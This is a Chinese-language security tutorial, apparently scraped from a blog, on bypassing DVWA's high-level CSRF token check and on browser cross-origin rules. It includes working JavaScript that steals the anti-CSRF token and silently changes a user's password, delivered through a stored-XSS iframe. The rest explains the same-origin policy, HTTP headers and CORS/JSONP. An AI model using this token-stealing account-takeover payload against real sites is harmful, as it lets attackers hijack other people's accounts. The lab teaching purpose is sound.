网站跨域访问的问题 | 您所在的位置:网站首页 › cdn 跨域问题 › 网站跨域访问的问题 |
一、DVWA中处理CSRF的另一种手段
1、攻击手段
如果在192.168.112.188网站中创建一个HTML页面,在XSS DOM中进行调用,也是可以解决CSRF的High级问题。 var tokenUrl = 'http://192.168.112.188/dvwa/vulnerabilities/csrf/'; // 实例化XMLHttpRequest,用于发送AJAX请求 xmlhttp = new XMLHttpRequest(); var count = 0; // 当请求的状态发生变化时,触发执行代码 xmlhttp.onreadystatechange=function() { if(xmlhttp.readyState ==4 && xmlhttp.status==200){ // 取得请求的响应,并从响应中通过正则提取Token var text = xmlhttp.responseText; var regex = /user_token\' value\=\'(.*?)\' \/\>/; var match = text.match(regex); // alert(match[1]); var token = match[1]; // 发送修改密码的语法 var changeUrl = 'http://192.168.112.188/dvwa/vulnerabilities/csrf/?user_token='+ token+'&password_new=test888&password_conf=test888&Change=Change'; if (count == 0) { count = 1; // 只发送一次,否则会多次发送 xmlhttp.open("GET",changeUrl,false); xmlhttp.send(); } } }; xmlhttp.open("GET",tokenUrl, false); xmlhttp.send(); CSRF location.href="http://192.168.112.188/dvwa/vulnerabilities/xss_s/";在High级XSS(Stored)的Name中提交一个iframe标签: 当用户点击到XSS(Stored)留言页面时,将自动修改其密码。 另外一种更加符合CSRF的“One Click“特性的操作方式,直接将超链接http://192.168.112.188/security/csrf.html发送给当前登录用户, 2、上述攻击手段存在的问题上述攻击方式存在一个严重的问题,就是我们需要将 csrf.html 页面保存于被攻击服务器 192.168.112.188 上,很显然,这是不现实的,如果已经能达成这一目的了,说明我们已经取得了服务器超级管理员的权限,此时当然也不需要再进行什么 CSRF 攻击了。 所以我们应该,将上述 csrf.html 页面保存于攻击服务器上,进而实现攻击者可控,让用户去访问攻击服务器上的页面不就可以完成攻击 三、什么是跨域访问 1、HTTP请求头(1)Host:表示当前请求要被发送的目的地host,仅包括域名和端口号。在任何类型请求中,request都会包含此header信息。 (2)Referer:Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。它由协议+域名+查询参数组成(注意不包含锚点信息),所有类型的请求都包含此header。 (3)Origin:表示这个请求原始是在哪里发起的,包括当前请求的协议+域名,特别注意:这个参数一般只存在于CORS跨域请求(两个端口号不同或域名不同或使用的协议不同的请求称为跨域请求)中,非跨域请求没有这个header。 2、同源策略同源策略(Same-Origin Policy,简称SOP)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。不同源的客户端脚本(JavaScript、ActionScript)在没明确授权的情况下,不能读写对方的资源,比如浏览器在A网页设置的Cookie,B网页不能打开,除非这两个网页同源。它能帮助阻隔恶意文档,减少可能被攻击的媒介,比如CSRF攻击便受到同源策略的限制。 同源是指两个或多个网页同时满足三个相同条件,域名相同,协议相同,端口相同。 举例来说,一个网站:http://www.example.com/dir/page.html这个网址,协议是http://,域名是www.example.com,端口是80(http://www.example.com/dir2/other.html 同源 http://v2.www.example.com/dir/other.html 不同源(域名不同) http://www.example.com:81/dir/other.html 不同源(端口不同) https://www.example.com/dir2/other.html 不同源(协议不同)默认端口可以省略),下面哪个是同源网页?
在上述的实验中,攻击服务器上192.168.112.183上的csrf.html页面无法向正常服务器192.168.112.188上发送修改用户密码的请求,便是受到同源策略的限制所导致的。 在浏览器的下列标签,不受同源策略的影响: //加载js到本地执行 //加载图片 //css文件 //任意资源 3、跨域访问 在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问问题。在请求的过程中回去数据一般都是post/get请求,所以,跨域问题出现,受浏览器同源策略的限制,要在浏览器中实现跨域访问,需要使用专门的解决方案。 4、如何跨域(1)JSONP方案 (2)CORS方案 (3)WebSocket通信 |
CopyRight 2018-2019 实验室设备网 版权所有 |